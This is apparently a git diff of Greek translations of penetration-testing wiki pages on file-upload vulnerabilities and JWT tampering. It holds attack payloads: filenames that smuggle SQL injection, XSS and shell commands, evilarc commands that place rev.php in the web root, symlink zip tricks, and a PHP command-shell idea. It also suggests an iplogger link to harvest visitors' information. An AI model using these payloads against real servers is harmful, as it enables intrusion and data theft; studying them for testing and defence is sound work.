* Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. * Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
* [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) * [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Μια άλλη τεχνική για να δημιουργήσετε ένα payload που **επιβιώνει μια αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. * Μια άλλη τεχνική για να δημιουργήσετε μια payload που **επιβιώνει σε αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
* [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) * [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Άλλα κόλπα για έλεγχο ### Άλλα κόλπα για έλεγχο
* Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση). * Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
* Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor. * Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε την backdoor.
* **Πιθανή αποκάλυψη πληροφοριών**: * **Πιθανή αποκάλυψη πληροφοριών**:
1. Ανεβάστε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα** 1. Ανεβάστε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη** 2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
3. Ανεβάστε ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”. 3. Ανεβάζοντας ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”.
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows) 4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows)
5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows) 5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9. 6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
@ -113,7 +113,7 @@ AAA<--SNIP 232 A-->AAA.php.png
Τα αρχεία `.phar` είναι όπως τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...) Τα αρχεία `.phar` είναι όπως τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που προορίζονται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**. Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
## **Jetty RCE** ## **Jetty RCE**
@ -125,7 +125,7 @@ AAA<--SNIP 232 A-->AAA.php.png
Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται. Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται.
Σκεφτείτε το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα: Σκεφτείτε το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα:
```ini ```ini
@ -183,32 +183,32 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
## Από τη μεταφόρτωση αρχείων σε άλλες ευπάθειες ## Από τη μεταφόρτωση αρχείων σε άλλες ευπάθειες
* Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **διαδρομή διαδρομής** * Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **path traversal**
* Ορίστε το **filename** σε `sleep(10)-- -.jpg` και μπορεί να μπορέσετε να επιτύχετε μια **SQL injection** * Ορίστε το **filename** σε `sleep(10)-- -.jpg` και μπορεί να μπορέσετε να επιτύχετε μια **SQL injection**
* Ορίστε το **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε XSS * Ορίστε το **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε XSS
* Ορίστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια εκτέλεση εντολών (περισσότερα [tricks εκτέλεσης εντολών εδώ](../command-injection.md)) * Ορίστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια command injection (περισσότερα [tricks command injections εδώ](../command-injection.md))
* [**XSS** σε μεταφόρτωση αρχείου εικόνας (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg) * [**XSS** σε μεταφόρτωση αρχείου εικόνας (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** αρχείο **μεταφόρτωσης** + **XSS** = [**Εκμετάλλευση Υπηρεσιών Εργαζομένων**](../xss-cross-site-scripting/#xss-abusing-service-workers) * **JS** αρχείο **upload** + **XSS** = [**Εκμετάλλευση Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE σε μεταφόρτωση svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) * [**XXE σε μεταφόρτωση svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Ανοιχτή Ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files) * [**Open Redirect** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Δοκιμάστε **διαφορετικά payloads svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* * Δοκιμάστε **διαφορετικά svg payloads** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** θα μπορούσατε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποιο **δημόσιο** site, θα μπορούσατε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**. * Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
* [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) * [**XXE και CORS** bypass με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs θα μπορούσατε να ετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες ενδείξεις. * Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs μπορείτε να προετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες ενδείξεις.
* Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιβιοτικό** * Ανεβάστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό**
* Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων * Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά την μεταφόρτωση αρχείων
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Αποθηκευμένο XSS / SSRF / XXE 2. **SVG**: Αποθηκευμένο XSS / SSRF / XXE
3. **GIF**: Αποθηκευμένο XSS / SSRF 3. **GIF**: Αποθηκευμένο XSS / SSRF
4. **CSV**: Εισαγωγή CSV 4. **CSV**: CSV injection
5. **XML**: XXE 5. **XML**: XXE
6. **AVI**: LFI / SSRF 6. **AVI**: LFI / SSRF
7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση 7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Επίθεση πλημμύρας pixel (DoS) 8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE μέσω LFI / DoS 9. **ZIP**: RCE μέσω LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE 10. **PDF / PPTX**: SSRF / BLIND XXE
@ -225,28 +225,28 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
### Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση ### Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση
Αν μπορείτε να μεταφορτώσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα: Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
#### Symlink #### Symlink
Μεταφορτώστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία: Ανεβάστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία:
``` ```
ln -s ../../../index.php symindex.txt ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt tar -cvf test.tar symindex.txt
``` ```
### Αποσυμπίεση σε διαφορετικούς φακέλους ### Decompress in different folders
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναρτήσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους ανάρτησης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής. Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναρτήσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους ανάρτησης αρχείων, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc στο GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται: Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
```python ```python
# Listing available options # Listing available options
python2 evilarc.py -h python2 evilarc.py -h
# Creating a malicious archive # Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
``` ```
Επιπλέον, το **symlink trick με το evilarc** είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink σε αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη διάρκεια της λειτουργίας του. Επιπλέον, το **trick symlink με το evilarc** είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink σε αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη διάρκεια της λειτουργίας του.
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου: Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου:
```python ```python
@ -270,7 +270,7 @@ create_zip()
Για περισσότερες λεπτομέρειες **ελέγξτε την αρχική ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) Για περισσότερες λεπτομέρειες **ελέγξτε την αρχική ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Δημιουργία ενός PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής `$_REQUEST`. 1. **Δημιουργία PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής `$_REQUEST`.
```php ```php
<?php <?php
@ -314,7 +314,7 @@ pop graphic-context
Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί. Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προκύπτει από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, τηρώντας τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς. Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προκύπτει από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, συμμορφούμενο με τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική δυαδικότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του. Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική δυαδικότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του.
@ -329,7 +329,7 @@ pop graphic-context
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
@ -44,7 +44,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
### Τροποποίηση δεδομένων χωρίς να αλλάξετε τίποτα ### Τροποποίηση δεδομένων χωρίς να αλλάξετε τίποτα
Μπορείτε απλώς να τροποποιήσετε τα δεδομένα αφήνοντας την υπογραφή ως έχει και να ελέγξετε αν ο διακομιστής ελέγχει την υπογραφή. Δοκιμάστε να αλλάξετε το όνομα χρήστη σας σε "admin" για παράδειγμα. Μπορείτε απλά να τροποποιήσετε τα δεδομένα αφήνοντας την υπογραφή ως έχει και να ελέγξετε αν ο διακομιστής ελέγχει την υπογραφή. Δοκιμάστε να αλλάξετε το όνομα χρήστη σας σε "admin" για παράδειγμα.
#### **Ελέγχεται η υπογραφή του token;** #### **Ελέγχεται η υπογραφή του token;**
@ -59,7 +59,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Είναι σημαντικό να προσδιορίσετε αν το token δημιουργήθηκε από τον διακομιστή ή από τον πελάτη εξετάζοντας το ιστορικό αιτημάτων του proxy. Είναι σημαντικό να προσδιορίσετε αν το token δημιουργήθηκε από τον διακομιστή ή από τον πελάτη εξετάζοντας το ιστορικό αιτημάτων του proxy.
* Τα tokens που παρατηρούνται πρώτα από την πλευρά του πελάτη υποδηλώνουν ότι το κλειδί μπορεί να είναι εκτεθειμένο σε κώδικα πελάτη, απαιτώντας περαιτέρω έρευνα. * Τα tokens που παρατηρούνται πρώτα από την πλευρά του πελάτη υποδηλώνουν ότι το κλειδί μπορεί να είναι εκτεθειμένο σε κώδικα πελάτη, απαιτώντας περαιτέρω έρευνα.
* Τα tokens που προέρχονται από τον διακομιστή υποδεικνύουν μια ασφαλή διαδικασία. * Τα tokens που προέρχονται από τον διακομιστή υποδηλώνουν μια ασφαλή διαδικασία.
### Διάρκεια ### Διάρκεια
@ -73,14 +73,14 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Ορίστε τον αλγόριθμο που χρησιμοποιείται ως "None" και αφαιρέστε το μέρος της υπογραφής. Ορίστε τον αλγόριθμο που χρησιμοποιείται ως "None" και αφαιρέστε το μέρος της υπογραφής.
